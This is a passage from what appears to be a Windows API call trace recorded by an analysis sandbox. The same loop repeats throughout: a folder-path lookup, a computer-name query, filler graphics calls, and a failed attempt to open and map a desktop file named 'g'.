[0189.135] CloseHandle (hObject=0xffffffff) returned 1 [0189.136] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.136] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.136] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.136] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.136] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.136] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.136] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.136] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.136] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.137] CloseHandle (hObject=0x0) returned 0 [0189.137] CloseHandle (hObject=0xffffffff) returned 1 [0189.137] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.137] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.137] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.137] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.137] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.137] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.137] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.137] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.137] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.137] CloseHandle (hObject=0x0) returned 0 [0189.137] CloseHandle (hObject=0xffffffff) returned 1 [0189.137] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.137] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.137] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.137] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.137] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.137] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.137] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.137] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.137] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.137] CloseHandle (hObject=0x0) returned 0 [0189.137] CloseHandle (hObject=0xffffffff) returned 1 [0189.137] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.138] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.138] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.138] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.138] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.138] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.138] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.138] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.138] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.138] CloseHandle (hObject=0x0) returned 0 [0189.138] CloseHandle (hObject=0xffffffff) returned 1 [0189.138] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.138] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.140] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.141] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.141] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.141] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.141] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.141] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.141] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.141] CloseHandle (hObject=0x0) returned 0 [0189.141] CloseHandle (hObject=0xffffffff) returned 1 [0189.141] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.141] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.141] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.141] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.141] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.141] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.141] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.141] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.141] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.141] CloseHandle (hObject=0x0) returned 0 [0189.142] CloseHandle (hObject=0xffffffff) returned 1 [0189.142] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.142] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.142] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.142] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.142] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.158] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.158] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.158] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.158] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.158] CloseHandle (hObject=0x0) returned 0 [0189.158] CloseHandle (hObject=0xffffffff) returned 1 [0189.158] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.158] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.158] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.158] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.158] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.158] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.158] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.158] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.159] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.159] CloseHandle (hObject=0x0) returned 0 [0189.159] CloseHandle (hObject=0xffffffff) returned 1 [0189.159] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.159] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.159] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.159] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.159] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.159] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.159] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.159] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.159] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.159] CloseHandle (hObject=0x0) returned 0 [0189.159] CloseHandle (hObject=0xffffffff) returned 1 [0189.159] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.159] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.159] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.159] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.159] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.159] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.160] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.160] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.160] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.160] CloseHandle (hObject=0x0) returned 0 [0189.160] CloseHandle (hObject=0xffffffff) returned 1 [0189.160] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.160] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.160] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.160] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.160] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.160] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.160] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.160] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.160] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.160] CloseHandle (hObject=0x0) returned 0 [0189.160] CloseHandle (hObject=0xffffffff) returned 1 [0189.160] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.160] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.160] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.160] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.160] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.160] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.161] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.161] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.161] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.161] CloseHandle (hObject=0x0) returned 0 [0189.161] CloseHandle (hObject=0xffffffff) returned 1 [0189.161] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.161] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.161] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.161] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.161] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.161] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.161] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.161] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.161] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.161] CloseHandle (hObject=0x0) returned 0 [0189.161] CloseHandle (hObject=0xffffffff) returned 1 [0189.161] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.161] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.161] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.161] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.161] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.161] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.161] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.162] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.162] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.162] CloseHandle (hObject=0x0) returned 0 [0189.163] CloseHandle (hObject=0xffffffff) returned 1 [0189.163] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.163] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.163] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.163] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.163] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.163] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.163] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.163] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.163] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.163] CloseHandle (hObject=0x0) returned 0 [0189.163] CloseHandle (hObject=0xffffffff) returned 1 [0189.163] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.163] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.163] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.163] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.163] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.163] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.163] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.164] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.164] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.164] CloseHandle (hObject=0x0) returned 0 [0189.164] CloseHandle (hObject=0xffffffff) returned 1 [0189.164] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.164] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.164] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.164] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.164] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.164] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.164] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.164] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.164] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.164] CloseHandle (hObject=0x0) returned 0 [0189.164] CloseHandle (hObject=0xffffffff) returned 1 [0189.164] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.164] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, 